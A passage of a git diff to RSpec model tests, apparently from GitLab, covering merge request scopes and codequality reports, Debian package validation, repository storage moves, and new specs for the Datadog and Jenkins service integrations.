+ let_it_be(:merge_request2) { create(:merge_request, :unique_branches, reviewers: [user2])}
+ let_it_be(:merge_request3) { create(:merge_request, :unique_branches, reviewers: [])}
+
+ describe '.review_requested' do
+ it 'returns MRs that has any review requests' do
+ expect(described_class.review_requested).to eq([merge_request1, merge_request2])
+ end
+ end
+
+ describe '.no_review_requested' do
+ it 'returns MRs that has no review requests' do
+ expect(described_class.no_review_requested).to eq([merge_request3])
+ end
+ end
+
+ describe '.review_requested_to' do
+ it 'returns MRs that the user has been requested to review' do
+ expect(described_class.review_requested_to(user1)).to eq([merge_request1])
+ end
+ end
+
+ describe '.no_review_requested_to' do
+ it 'returns MRs that the user has been requested to review' do
+ expect(described_class.no_review_requested_to(user1)).to eq([merge_request2, merge_request3])
+ end
+ end
+ end
+
describe '#squash_in_progress?' do
let(:repo_path) do
Gitlab::GitalyClient::StorageSettings.allow_disk_access do
@@ -467,6 +500,77 @@ RSpec.describe MergeRequest, factory_default: :keep do
end
end
+ describe 'time to merge calculations' do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:project) { create(:project) }
+
+ let!(:mr1) do
+ create(
+ :merge_request,
+ :with_merged_metrics,
+ source_project: project,
+ target_project: project
+ )
+ end
+
+ let!(:mr2) do
+ create(
+ :merge_request,
+ :with_merged_metrics,
+ source_project: project,
+ target_project: project
+ )
+ end
+
+ let!(:mr3) do
+ create(
+ :merge_request,
+ :with_merged_metrics,
+ source_project: project,
+ target_project: project
+ )
+ end
+
+ let!(:unmerged_mr) do
+ create(
+ :merge_request,
+ source_project: project,
+ target_project: project
+ )
+ end
+
+ before do
+ project.add_user(user, :developer)
+ end
+
+ describe '.total_time_to_merge' do
+ it 'returns the sum of the time to merge for all merged MRs' do
+ mrs = project.merge_requests
+
+ expect(mrs.total_time_to_merge).to be_within(1).of(expected_total_time(mrs))
+ end
+
+ context 'when merged_at is earlier than created_at' do
+ before do
+ mr1.metrics.update!(merged_at: mr1.metrics.created_at - 1.week)
+ end
+
+ it 'returns nil' do
+ mrs = project.merge_requests.where(id: mr1.id)
+
+ expect(mrs.total_time_to_merge).to be_nil
+ end
+ end
+
+ def expected_total_time(mrs)
+ mrs = mrs.reject { |mr| mr.merged_at.nil? }
+ mrs.reduce(0.0) do |sum, mr|
+ (mr.merged_at - mr.created_at) + sum
+ end
+ end
+ end
+ end
+
describe '#target_branch_sha' do
let(:project) { create(:project, :repository) }
@@ -1825,6 +1929,32 @@ RSpec.describe MergeRequest, factory_default: :keep do
end
end
+ describe '#has_codequality_reports?' do
+ subject { merge_request.has_codequality_reports? }
+
+ let(:project) { create(:project, :repository) }
+
+ context 'when head pipeline has a codequality report' do
+ let(:merge_request) { create(:merge_request, :with_codequality_reports, source_project: project) }
+
+ it { is_expected.to be_truthy }
+
+ context 'when feature flag is disabled' do
+ before do
+ stub_feature_flags(codequality_mr_diff: false)
+ end
+
+ it { is_expected.to be_falsey }
+ end
+ end
+
+ context 'when head pipeline does not have a codequality report' do
+ let(:merge_request) { create(:merge_request, source_project: project) }
+
+ it { is_expected.to be_falsey }
+ end
+ end
+
describe '#has_terraform_reports?' do
context 'when head pipeline has terraform reports' do
it 'returns true' do
@@ -2101,6 +2231,62 @@ RSpec.describe MergeRequest, factory_default: :keep do
end
end
+ describe '#compare_codequality_reports' do
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:merge_request, reload: true) { create(:merge_request, :with_codequality_reports, source_project: project) }
+ let_it_be(:pipeline) { merge_request.head_pipeline }
+
+ subject { merge_request.compare_codequality_reports }
+
+ context 'when head pipeline has codequality report' do
+ let(:job) do
+ create(:ci_build, options: { artifacts: { reports: { codeclimate: ['codequality.json'] } } }, pipeline: pipeline)
+ end
+
+ let(:artifacts_metadata) { create(:ci_job_artifact, :metadata, job: job) }
+
+ context 'when reactive cache worker is parsing results asynchronously' do
+ it 'returns parsing status' do
+ expect(subject[:status]).to eq(:parsing)
+ end
+ end
+
+ context 'when reactive cache worker is inline' do
+ before do
+ synchronous_reactive_cache(merge_request)
+ end
+
+ it 'returns parsed status' do
+ expect(subject[:status]).to eq(:parsed)
+ expect(subject[:data]).to be_present
+ end
+
+ context 'when an error occurrs' do
+ before do
+ merge_request.update!(head_pipeline: nil)
+ end
+
+ it 'returns an error status' do
+ expect(subject[:status]).to eq(:error)
+ expect(subject[:status_reason]).to eq("This merge request does not have codequality reports")
+ end
+ end
+
+ context 'when cached result is not latest' do
+ before do
+ allow_next_instance_of(Ci::CompareCodequalityReportsService) do |service|
+ allow(service).to receive(:latest?).and_return(false)
+ end
+ end
+
+ it 'raises an InvalidateReactiveCache error' do
+ expect { subject }.to raise_error(ReactiveCaching::InvalidateReactiveCache)
+ end
+ end
+ end
+ end
+ end
+
describe '#all_commit_shas' do
context 'when merge request is persisted' do
let(:all_commit_shas) do
@@ -3266,7 +3452,7 @@ RSpec.describe MergeRequest, factory_default: :keep do
end
end
- describe "#closed_without_fork?" do
+ describe "#closed_or_merged_without_fork?" do
let(:project) { create(:project) }
let(:forked_project) { fork_project(project) }
let(:user) { create(:user) }
@@ -3280,14 +3466,33 @@ RSpec.describe MergeRequest, factory_default: :keep do
end
it "returns false if the fork exist" do
- expect(closed_merge_request.closed_without_fork?).to be_falsey
+ expect(closed_merge_request.closed_or_merged_without_fork?).to be_falsey
end
it "returns true if the fork does not exist" do
unlink_project.execute
closed_merge_request.reload
- expect(closed_merge_request.closed_without_fork?).to be_truthy
+ expect(closed_merge_request.closed_or_merged_without_fork?).to be_truthy
+ end
+ end
+
+ context "when the merge request was merged" do
+ let(:merged_merge_request) do
+ create(:merged_merge_request,
+ source_project: forked_project,
+ target_project: project)
+ end
+
+ it "returns false if the fork exist" do
+ expect(merged_merge_request.closed_or_merged_without_fork?).to be_falsey
+ end
+
+ it "returns true if the fork does not exist" do
+ unlink_project.execute
+ merged_merge_request.reload
+
+ expect(merged_merge_request.closed_or_merged_without_fork?).to be_truthy
end
end
@@ -3299,7 +3504,7 @@ RSpec.describe MergeRequest, factory_default: :keep do
end
it "returns false" do
- expect(open_merge_request.closed_without_fork?).to be_falsey
+ expect(open_merge_request.closed_or_merged_without_fork?).to be_falsey
end
end
end
@@ -4242,6 +4447,14 @@ RSpec.describe MergeRequest, factory_default: :keep do
expect(subject.diffable_merge_ref?).to eq(true)
end
+ context 'merge request is merged' do
+ subject { build_stubbed(:merge_request, :merged, project: project) }
+
+ it 'returns false' do
+ expect(subject.diffable_merge_ref?).to eq(false)
+ end
+ end
+
context 'merge request cannot be merged' do
before do
subject.mark_as_unchecked!
diff --git a/spec/models/namespace_onboarding_action_spec.rb b/spec/models/namespace_onboarding_action_spec.rb
new file mode 100644
index 00000000000..70dcb989b32
--- /dev/null
+++ b/spec/models/namespace_onboarding_action_spec.rb
@@ -0,0 +1,53 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe NamespaceOnboardingAction do
+ let(:namespace) { build(:namespace) }
+
+ describe 'associations' do
+ it { is_expected.to belong_to(:namespace).required }
+ end
+
+ describe 'validations' do
+ it { is_expected.to validate_presence_of(:action) }
+ end
+
+ describe '.completed?' do
+ let(:action) { :subscription_created }
+
+ subject { described_class.completed?(namespace, action) }
+
+ context 'action created for the namespace' do
+ before do
+ create(:namespace_onboarding_action, namespace: namespace, action: action)
+ end
+
+ it { is_expected.to eq(true) }
+ end
+
+ context 'action created for another namespace' do
+ before do
+ create(:namespace_onboarding_action, namespace: build(:namespace), action: action)
+ end
+
+ it { is_expected.to eq(false) }
+ end
+ end
+
+ describe '.create_action' do
+ let(:action) { :subscription_created }
+
+ subject(:create_action) { described_class.create_action(namespace, action) }
+
+ it 'creates the action for the namespace just once' do
+ expect { create_action }.to change { count_namespace_actions }.by(1)
+
+ expect { create_action }.to change { count_namespace_actions }.by(0)
+ end
+
+ def count_namespace_actions
+ described_class.where(namespace: namespace, action: action).count
+ end
+ end
+end
diff --git a/spec/models/namespace_spec.rb b/spec/models/namespace_spec.rb
index 85f9005052e..0130618d004 100644
--- a/spec/models/namespace_spec.rb
+++ b/spec/models/namespace_spec.rb
@@ -19,6 +19,7 @@ RSpec.describe Namespace do
it { is_expected.to have_one :aggregation_schedule }
it { is_expected.to have_one :namespace_settings }
it { is_expected.to have_many :custom_emoji }
+ it { is_expected.to have_many :namespace_onboarding_actions }
end
describe 'validations' do
diff --git a/spec/models/note_spec.rb b/spec/models/note_spec.rb
index a3417ee5fc7..6e87ca6dcf7 100644
--- a/spec/models/note_spec.rb
+++ b/spec/models/note_spec.rb
@@ -357,7 +357,7 @@ RSpec.describe Note do
describe '#confidential?' do
context 'when note is not confidential' do
context 'when include_noteable is set to true' do
- it 'is true when a noteable is confidential ' do
+ it 'is true when a noteable is confidential' do
issue = create(:issue, :confidential)
note = build(:note, noteable: issue, project: issue.project)
@@ -366,7 +366,7 @@ RSpec.describe Note do
end
context 'when include_noteable is not set to true' do
- it 'is false when a noteable is confidential ' do
+ it 'is false when a noteable is confidential' do
issue = create(:issue, :confidential)
note = build(:note, noteable: issue, project: issue.project)
diff --git a/spec/models/packages/package_file_spec.rb b/spec/models/packages/package_file_spec.rb
index ef09fb037e9..82ac159b9cc 100644
--- a/spec/models/packages/package_file_spec.rb
+++ b/spec/models/packages/package_file_spec.rb
@@ -61,14 +61,14 @@ RSpec.describe Packages::PackageFile, type: :model do
end
end
- describe '#update_file_metadata callback' do
+ describe '#update_file_store callback' do
let_it_be(:package_file) { build(:package_file, :nuget, size: nil) }
subject { package_file.save! }
it 'updates metadata columns' do
expect(package_file)
- .to receive(:update_file_metadata)
+ .to receive(:update_file_store)
.and_call_original
# This expectation uses a stub because we can no longer test a change from
diff --git a/spec/models/packages/package_spec.rb b/spec/models/packages/package_spec.rb
index 705a1991845..16764673474 100644
--- a/spec/models/packages/package_spec.rb
+++ b/spec/models/packages/package_spec.rb
@@ -111,6 +111,24 @@ RSpec.describe Packages::Package, type: :model do
it { is_expected.not_to allow_value('%foo%bar').for(:name) }
end
+ context 'debian package' do
+ subject { build(:debian_package) }
+
+ it { is_expected.to allow_value('0ad').for(:name) }
+ it { is_expected.to allow_value('g++').for(:name) }
+ it { is_expected.not_to allow_value('a_b').for(:name) }
+ end
+
+ context 'debian incoming' do
+ subject { create(:debian_incoming) }
+
+ # Only 'incoming' is accepted
+ it { is_expected.to allow_value('incoming').for(:name) }
+ it { is_expected.not_to allow_value('0ad').for(:name) }
+ it { is_expected.not_to allow_value('g++').for(:name) }
+ it { is_expected.not_to allow_value('a_b').for(:name) }
+ end
+
context 'generic package' do
subject { build_stubbed(:generic_package) }
@@ -180,6 +198,21 @@ RSpec.describe Packages::Package, type: :model do
it { is_expected.to allow_value('2.x-dev').for(:version) }
end
+ context 'debian package' do
+ subject { build(:debian_package) }
+
+ it { is_expected.to allow_value('2:4.9.5+dfsg-5+deb10u1').for(:version) }
+ it { is_expected.not_to allow_value('1_0').for(:version) }
+ end
+
+ context 'debian incoming' do
+ subject { create(:debian_incoming) }
+
+ it { is_expected.to allow_value(nil).for(:version) }
+ it { is_expected.not_to allow_value('2:4.9.5+dfsg-5+deb10u1').for(:version) }
+ it { is_expected.not_to allow_value('1_0').for(:version) }
+ end
+
context 'maven package' do
subject { build_stubbed(:maven_package) }
@@ -621,6 +654,46 @@ RSpec.describe Packages::Package, type: :model do
end
end
+ describe '#debian_incoming?' do
+ let(:package) { build(:package) }
+
+ subject { package.debian_incoming? }
+
+ it { is_expected.to eq(false) }
+
+ context 'with debian_incoming' do
+ let(:package) { create(:debian_incoming) }
+
+ it { is_expected.to eq(true) }
+ end
+
+ context 'with debian_package' do
+ let(:package) { create(:debian_package) }
+
+ it { is_expected.to eq(false) }
+ end
+ end
+
+ describe '#debian_package?' do
+ let(:package) { build(:package) }
+
+ subject { package.debian_package? }
+
+ it { is_expected.to eq(false) }
+
+ context 'with debian_incoming' do
+ let(:package) { create(:debian_incoming) }
+
+ it { is_expected.to eq(false) }
+ end
+
+ context 'with debian_package' do
+ let(:package) { create(:debian_package) }
+
+ it { is_expected.to eq(true) }
+ end
+ end
+
describe 'plan_limits' do
Packages::Package.package_types.keys.without('composer').each do |pt|
plan_limit_name = if pt == 'generic'
diff --git a/spec/models/pages/lookup_path_spec.rb b/spec/models/pages/lookup_path_spec.rb
index f8ebc237577..30712af6b32 100644
--- a/spec/models/pages/lookup_path_spec.rb
+++ b/spec/models/pages/lookup_path_spec.rb
@@ -9,7 +9,6 @@ RSpec.describe Pages::LookupPath do
before do
stub_pages_setting(access_control: true, external_https: ["1.1.1.1:443"])
- stub_artifacts_object_storage
stub_pages_object_storage(::Pages::DeploymentUploader)
end
@@ -66,7 +65,7 @@ RSpec.describe Pages::LookupPath do
end
it 'uses deployment from object storage' do
- Timecop.freeze do
+ freeze_time do
expect(source).to(
eq({
type: 'zip',
@@ -86,7 +85,7 @@ RSpec.describe Pages::LookupPath do
end
it 'uses file protocol' do
- Timecop.freeze do
+ freeze_time do
expect(source).to(
eq({
type: 'zip',
@@ -117,64 +116,6 @@ RSpec.describe Pages::LookupPath do
include_examples 'uses disk storage'
end
end
-
- context 'when artifact_id from build job is present in pages metadata' do
- let(:artifacts_archive) { create(:ci_job_artifact, :zip, :remote_store, project: project) }
-
- before do
- project.mark_pages_as_deployed(artifacts_archive: artifacts_archive)
- end
-
- it 'uses artifacts object storage' do
- Timecop.freeze do
- expect(source).to(
- eq({
- type: 'zip',
- path: artifacts_archive.file.url(expire_at: 1.day.from_now),
- global_id: "gid://gitlab/Ci::JobArtifact/#{artifacts_archive.id}",
- sha256: artifacts_archive.file_sha256,
- file_size: artifacts_archive.size,
- file_count: nil
- })
- )
- end
- end
-
- context 'when artifact is not uploaded to object storage' do
- let(:artifacts_archive) { create(:ci_job_artifact, :zip) }
-
- it 'uses file protocol', :aggregate_failures do
- Timecop.freeze do
- expect(source).to(
- eq({
- type: 'zip',
- path: 'file://' + artifacts_archive.file.path,
- global_id: "gid://gitlab/Ci::JobArtifact/#{artifacts_archive.id}",
- sha256: artifacts_archive.file_sha256,
- file_size: artifacts_archive.size,
- file_count: nil
- })
- )
- end
- end
-
- context 'when pages_serve_with_zip_file_protocol feature flag is disabled' do
- before do
- stub_feature_flags(pages_serve_with_zip_file_protocol: false)
- end
-
- include_examples 'uses disk storage'
- end
- end
-
- context 'when feature flag is disabled' do
- before do
- stub_feature_flags(pages_serve_from_artifacts_archive: false)
- end
-
- include_examples 'uses disk storage'
- end
- end
end
describe '#prefix' do
diff --git a/spec/models/project_feature_spec.rb b/spec/models/project_feature_spec.rb
index c927c8fd1f9..37402fa04c4 100644
--- a/spec/models/project_feature_spec.rb
+++ b/spec/models/project_feature_spec.rb
@@ -40,7 +40,7 @@ RSpec.describe ProjectFeature do
end
context 'public features' do
- features = %w(issues wiki builds merge_requests snippets repository metrics_dashboard)
+ features = %w(issues wiki builds merge_requests snippets repository metrics_dashboard operations)
features.each do |feature|
it "does not allow public access level for #{feature}" do
diff --git a/spec/models/project_feature_usage_spec.rb b/spec/models/project_feature_usage_spec.rb
index d55d41fab85..cd70602fc4d 100644
--- a/spec/models/project_feature_usage_spec.rb
+++ b/spec/models/project_feature_usage_spec.rb
@@ -25,7 +25,7 @@ RSpec.describe ProjectFeatureUsage, type: :model do
subject { project.feature_usage }
it 'logs Jira DVCS Cloud last sync' do
- Timecop.freeze do
+ freeze_time do
subject.log_jira_dvcs_integration_usage
expect(subject.jira_dvcs_server_last_sync_at).to be_nil
@@ -34,7 +34,7 @@ RSpec.describe ProjectFeatureUsage, type: :model do
end
it 'logs Jira DVCS Server last sync' do
- Timecop.freeze do
+ freeze_time do
subject.log_jira_dvcs_integration_usage(cloud: false)
expect(subject.jira_dvcs_server_last_sync_at).to be_like_time(Time.current)
diff --git a/spec/models/project_repository_storage_move_spec.rb b/spec/models/project_repository_storage_move_spec.rb
index d32867efb39..88535f6dd6e 100644
--- a/spec/models/project_repository_storage_move_spec.rb
+++ b/spec/models/project_repository_storage_move_spec.rb
@@ -3,102 +3,30 @@
require 'spec_helper'
RSpec.describe ProjectRepositoryStorageMove, type: :model do
- describe 'associations' do
- it { is_expected.to belong_to(:project) }
- end
-
- describe 'validations' do
- it { is_expected.to validate_presence_of(:project) }
- it { is_expected.to validate_presence_of(:state) }
- it { is_expected.to validate_presence_of(:source_storage_name) }
- it { is_expected.to validate_presence_of(:destination_storage_name) }
-
- context 'source_storage_name inclusion' do
- subject { build(:project_repository_storage_move, source_storage_name: 'missing') }
-
- it "does not allow repository storages that don't match a label in the configuration" do
- expect(subject).not_to be_valid
- expect(subject.errors[:source_storage_name].first).to match(/is not included in the list/)
- end
- end
-
- context 'destination_storage_name inclusion' do
- subject { build(:project_repository_storage_move, destination_storage_name: 'missing') }
-
- it "does not allow repository storages that don't match a label in the configuration" do
- expect(subject).not_to be_valid
- expect(subject.errors[:destination_storage_name].first).to match(/is not included in the list/)
- end
- end
-
- context 'project repository read-only' do
- subject { build(:project_repository_storage_move, project: project) }
-
- let(:project) { build(:project, repository_read_only: true) }
+ let_it_be_with_refind(:project) { create(:project) }
- it "does not allow the project to be read-only on create" do
- expect(subject).not_to be_valid
- expect(subject.errors[:project].first).to match(/is read only/)
- end
- end
- end
-
- describe 'defaults' do
- context 'destination_storage_name' do
- subject { build(:project_repository_storage_move) }
-
- it 'picks storage from ApplicationSetting' do
- expect(Gitlab::CurrentSettings).to receive(:pick_repository_storage).and_return('picked').at_least(:once)
-
- expect(subject.destination_storage_name).to eq('picked')
- end
- end
+ it_behaves_like 'handles repository moves' do
+ let(:container) { project }
+ let(:repository_storage_factory_key) { :project_repository_storage_move }
+ let(:error_key) { :project }
+ let(:repository_storage_worker) { ProjectUpdateRepositoryStorageWorker }
end
describe 'state transitions' do
- let(:project) { create(:project) }
+ let(:storage) { 'test_second_storage' }
before do
- stub_storage_settings('test_second_storage' => { 'path' => 'tmp/tests/extra_storage' })
- end
-
- context 'when in the default state' do
- subject(:storage_move) { create(:project_repository_storage_move, project: project, destination_storage_name: 'test_second_storage') }
-
- context 'and transits to scheduled' do
- it 'triggers ProjectUpdateRepositoryStorageWorker' do
- expect(ProjectUpdateRepositoryStorageWorker).to receive(:perform_async).with(project.id, 'test_second_storage', storage_move.id)
-
- storage_move.schedule!
-
- expect(project).to be_repository_read_only
- end
- end
-
- context 'and transits to started' do
- it 'does not allow the transition' do
- expect { storage_move.start! }
- .to raise_error(StateMachines::InvalidTransition)
- end
- end
+ stub_storage_settings(storage => { 'path' => 'tmp/tests/extra_storage' })
end
context 'when started' do
- subject(:storage_move) { create(:project_repository_storage_move, :started, project: project, destination_storage_name: 'test_second_storage') }
+ subject(:storage_move) { create(:project_repository_storage_move, :started, container: project, destination_storage_name: storage) }
context 'and transits to replicated' do
- it 'sets the repository storage and marks the project as writable' do
+ it 'sets the repository storage and marks the container as writable' do
storage_move.finish_replication!
- expect(project.repository_storage).to eq('test_second_storage')
- expect(project).not_to be_repository_read_only
- end
- end
-
- context 'and transits to failed' do
- it 'marks the project as writable' do
- storage_move.do_fail!
-
+ expect(project.repository_storage).to eq(storage)
expect(project).not_to be_repository_read_only
end
end
diff --git a/spec/models/project_services/datadog_service_spec.rb b/spec/models/project_services/datadog_service_spec.rb
new file mode 100644
index 00000000000..1d9f49e4824
--- /dev/null
+++ b/spec/models/project_services/datadog_service_spec.rb
@@ -0,0 +1,179 @@
+# frozen_string_literal: true
+require 'securerandom'
+
+require 'spec_helper'
+
+RSpec.describe DatadogService, :model do
+ let_it_be(:project) { create(:project) }
+ let_it_be(:pipeline) { create(:ci_pipeline, project: project) }
+ let_it_be(:build) { create(:ci_build, project: project) }
+
+ let(:active) { true }
+ let(:dd_site) { 'datadoghq.com' }
+ let(:default_url) { 'https://webhooks-http-intake.logs.datadoghq.com/v1/input/' }
+ let(:api_url) { nil }
+ let(:api_key) { SecureRandom.hex(32) }
+ let(:dd_env) { 'ci' }
+ let(:dd_service) { 'awesome-gitlab' }
+
+ let(:expected_hook_url) { default_url + api_key + "?env=#{dd_env}&service=#{dd_service}" }
+
+ let(:instance) do
+ described_class.new(
+ active: active,
+ project: project,
+ properties: {
+ datadog_site: dd_site,
+ api_url: api_url,
+ api_key: api_key,
+ datadog_env: dd_env,
+ datadog_service: dd_service
+ }
+ )
+ end
+
+ let(:saved_instance) do
+ instance.save!
+ instance
+ end
+
+ let(:pipeline_data) { Gitlab::DataBuilder::Pipeline.build(pipeline) }
+ let(:build_data) { Gitlab::DataBuilder::Build.build(build) }
+
+ describe 'associations' do
+ it { is_expected.to belong_to(:project) }
+ it { is_expected.to have_one(:service_hook) }
+ end
+
+ describe 'validations' do
+ subject { instance }
+
+ context 'when service is active' do
+ let(:active) { true }
+
+ it { is_expected.to validate_presence_of(:api_key) }
+ it { is_expected.to allow_value(api_key).for(:api_key) }
+ it { is_expected.not_to allow_value('87dab2403c9d462 87aec4d9214edb1e').for(:api_key) }
+ it { is_expected.not_to allow_value('................................').for(:api_key) }
+
+ context 'when selecting site' do
+ let(:dd_site) { 'datadoghq.com' }
+ let(:api_url) { nil }
+
+ it { is_expected.to validate_presence_of(:datadog_site) }
+ it { is_expected.not_to validate_presence_of(:api_url) }
+ it { is_expected.not_to allow_value('datadog hq.com').for(:datadog_site) }
+ end
+
+ context 'with custom api_url' do
+ let(:dd_site) { nil }
+ let(:api_url) { 'https://webhooks-http-intake.logs.datad0g.com/v1/input/' }
+
+ it { is_expected.not_to validate_presence_of(:datadog_site) }
+ it { is_expected.to validate_presence_of(:api_url) }
+ it { is_expected.to allow_value(api_url).for(:api_url) }
+ it { is_expected.not_to allow_value('example.com').for(:api_url) }
+ end
+
+ context 'when missing site and api_url' do
+ let(:dd_site) { nil }
+ let(:api_url) { nil }
+
+ it { is_expected.not_to be_valid }
+ it { is_expected.to validate_presence_of(:datadog_site) }
+ it { is_expected.to validate_presence_of(:api_url) }
+ end
+ end
+
+ context 'when service is not active' do
+ let(:active) { false }
+
+ it { is_expected.to be_valid }
+ it { is_expected.not_to validate_presence_of(:api_key) }
+ end
+ end
+
+ describe '#hook_url' do
+ subject { instance.hook_url }
+
+ context 'with standard site URL' do
+ it { is_expected.to eq(expected_hook_url) }
+ end
+
+ context 'with custom URL' do
+ let(:api_url) { 'https://webhooks-http-intake.logs.datad0g.com/v1/input/' }
+
+ it { is_expected.to eq(api_url + api_key + "?env=#{dd_env}&service=#{dd_service}") }
+
+ context 'blank' do
+ let(:api_url) { '' }
+
+ it { is_expected.to eq(expected_hook_url) }
+ end
+ end
+
+ context 'without optional params' do
+ let(:dd_service) { nil }
+ let(:dd_env) { nil }
+
+ it { is_expected.to eq(default_url + api_key) }
+ end
+ end
+
+ describe '#api_keys_url' do
+ subject { instance.api_keys_url }
+
+ it { is_expected.to eq("https://app.#{dd_site}/account/settings#api") }
+
+ context 'with unset datadog_site' do
+ let(:dd_site) { nil }
+
+ it { is_expected.to eq("https://docs.datadoghq.com/account_management/api-app-keys/") }
+ end
+ end
+
+ describe '#test' do
+ context 'when request is succesful' do
+ subject { saved_instance.test(pipeline_data) }
+
+ before do
+ stub_request(:post, expected_hook_url).to_return(body: 'OK')
+ end
+ it { is_expected.to eq({ success: true, result: 'OK' }) }
+ end
+
+ context 'when request fails' do
+ subject { saved_instance.test(pipeline_data) }
+
+ before do
+ stub_request(:post, expected_hook_url).to_return(body: 'CRASH!!!', status: 500)
+ end
+ it { is_expected.to eq({ success: false, result: 'CRASH!!!' }) }
+ end
+ end
+
+ describe '#execute' do
+ before do
+ stub_request(:post, expected_hook_url)
+ saved_instance.execute(data)
+ end
+
+ context 'with pipeline data' do
+ let(:data) { pipeline_data }
+ let(:expected_headers) do
+ { WebHookService::GITLAB_EVENT_HEADER => 'Pipeline Hook' }
+ end
+
+ it { expect(a_request(:post, expected_hook_url).with(headers: expected_headers)).to have_been_made }
+ end
+
+ context 'with job data' do
+ let(:data) { build_data }
+ let(:expected_headers) do
+ { WebHookService::GITLAB_EVENT_HEADER => 'Job Hook' }
+ end
+
+ it { expect(a_request(:post, expected_hook_url).with(headers: expected_headers)).to have_been_made }
+ end
+ end
+end
diff --git a/spec/models/project_services/jenkins_service_spec.rb b/spec/models/project_services/jenkins_service_spec.rb
new file mode 100644
index 00000000000..4663e41736a
--- /dev/null
+++ b/spec/models/project_services/jenkins_service_spec.rb
@@ -0,0 +1,255 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe JenkinsService do
+ let(:project) { create(:project) }
+ let(:jenkins_url) { 'http://jenkins.example.com/' }
+ let(:jenkins_hook_url) { jenkins_url + 'project/my_project' }
+ let(:jenkins_username) { 'u$er name%2520' }
+ let(:jenkins_password) { 'pas$ word' }
+
+ let(:jenkins_params) do
+ {
+ active: true,
+ project: project,
+ properties: {
+ password: jenkins_password,
+ username: jenkins_username,
+ jenkins_url: jenkins_url,
+ project_name: 'my_project'
+ }
+ }
+ end
+
+ let(:jenkins_authorization) { "Basic " + ::Base64.strict_encode64(jenkins_username + ':' + jenkins_password) }
+
+ describe 'Associations' do
+ it { is_expected.to belong_to :project }
+ it { is_expected.to have_one :service_hook }
+ end
+
+ describe 'username validation' do
+ before do
+ @jenkins_service = described_class.create!(
+ active: active,
+ project: project,
+ properties: {
+ jenkins_url: 'http://jenkins.example.com/',
+ password: 'password',
+ username: 'username',
+ project_name: 'my_project'
+ }
+ )
+ end
+
+ subject { @jenkins_service }
+
+ context 'when the service is active' do
+ let(:active) { true }
+
+ context 'when password was not touched' do
+ before do
+ allow(subject).to receive(:password_touched?).and_return(false)
+ end
+
+ it { is_expected.not_to validate_presence_of :username }
+ end
+
+ context 'when password was touched' do
+ before do
+ allow(subject).to receive(:password_touched?).and_return(true)
+ end
+
+ it { is_expected.to validate_presence_of :username }
+ end
+
+ context 'when password is blank' do
+ it 'does not validate the username' do
+ expect(subject).not_to validate_presence_of :username
+
+ subject.password = ''
+ subject.save!
+ end
+ end
+ end
+
+ context 'when the service is inactive' do
+ let(:active) { false }
+
+ it { is_expected.not_to validate_presence_of :username }
+ end
+ end
+
+ describe '#hook_url' do
+ let(:username) { nil }
+ let(:password) { nil }
+ let(:jenkins_service) do
+ described_class.new(
+ project: project,
+ properties: {
+ jenkins_url: jenkins_url,
+ project_name: 'my_project',
+ username: username,
+ password: password
+ }
+ )
+ end
+
+ subject { jenkins_service.hook_url }
+
+ context 'when the jenkins_url has no relative path' do
+ let(:jenkins_url) { 'http://jenkins.example.com/' }
+
+ it { is_expected.to eq('http://jenkins.example.com/project/my_project') }
+ end
+
+ context 'when the jenkins_url has relative path' do
+ let(:jenkins_url) { 'http://organization.example.com/jenkins' }
+
+ it { is_expected.to eq('http://organization.example.com/jenkins/project/my_project') }
+ end
+
+ context 'userinfo is missing and username and password are set' do
+ let(:jenkins_url) { 'http://organization.example.com/jenkins' }
+ let(:username) { 'u$ername' }
+ let(:password) { 'pas$ word' }
+
+ it { is_expected.to eq('http://u%24ername:pas%24%20word@organization.example.com/jenkins/project/my_project') }
+ end
+
+ context 'userinfo is provided and username and password are set' do
+ let(:jenkins_url) { 'http://u:p@organization.example.com/jenkins' }
+ let(:username) { 'username' }
+ let(:password) { 'password' }
+
+ it { is_expected.to eq('http://username:password@organization.example.com/jenkins/project/my_project') }
+ end
+
+ context 'userinfo is provided username and password are not set' do
+ let(:jenkins_url) { 'http://u:p@organization.example.com/jenkins' }
+
+ it { is_expected.to eq('http://u:p@organization.example.com/jenkins/project/my_project') }
+ end
+ end
+
+ describe '#test' do
+ it 'returns the right status' do
+ user = create(:user, username: 'username')
+ project = create(:project, name: 'project')
+ push_sample_data = Gitlab::DataBuilder::Push.build_sample(project, user)
+ jenkins_service = described_class.create!(jenkins_params)
+ stub_request(:post, jenkins_hook_url).with(headers: { 'Authorization' => jenkins_authorization })
+
+ result = jenkins_service.test(push_sample_data)
+
+ expect(result).to eq({ success: true, result: '' })
+ end
+ end
+
+ describe '#execute' do
+ let(:user) { create(:user, username: 'username') }
+ let(:namespace) { create(:group, :private) }
+ let(:project) { create(:project, :private, name: 'project', namespace: namespace) }
+ let(:push_sample_data) { Gitlab::DataBuilder::Push.build_sample(project, user) }
+ let(:jenkins_service) { described_class.create!(jenkins_params) }
+
+ before do
+ stub_request(:post, jenkins_hook_url)
+ end
+
+ it 'invokes the Jenkins API' do
+ jenkins_service.execute(push_sample_data)
+
+ expect(a_request(:post, jenkins_hook_url)).to have_been_made.once
+ end
+
+ it 'adds default web hook headers to the request' do
+ jenkins_service.execute(push_sample_data)
+
+ expect(
+ a_request(:post, jenkins_hook_url)
+ .with(headers: { 'X-Gitlab-Event' => 'Push Hook', 'Authorization' => jenkins_authorization })
+ ).to have_been_made.once
+ end
+
+ it 'request url contains properly serialized username and password' do
+ jenkins_service.execute(push_sample_data)
+
+ expect(
+ a_request(:post, 'http://jenkins.example.com/project/my_project')
+ .with(headers: { 'Authorization' => jenkins_authorization })
+ ).to have_been_made.once
+ end
+ end
+
+ describe 'Stored password invalidation' do
+ let(:project) { create(:project) }
+
+ context 'when a password was previously set' do
+ before do
+ @jenkins_service = described_class.create!(
+ project: project,
+ properties: {
+ jenkins_url: 'http://jenkins.example.com/',
+ username: 'jenkins',
+ password: 'password'
+ }
+ )
+ end
+
+ it 'resets password if url changed' do
+ @jenkins_service.jenkins_url = 'http://jenkins-edited.example.com/'
+ @jenkins_service.save!
+ expect(@jenkins_service.password).to be_nil
+ end
+
+ it 'resets password if username is blank' do
+ @jenkins_service.username = ''
+ @jenkins_service.save!
+ expect(@jenkins_service.password).to be_nil
+ end
+
+ it 'does not reset password if username changed' do
+ @jenkins_service.username = 'some_name'
+ @jenkins_service.save!
+ expect(@jenkins_service.password).to eq('password')
+ end
+
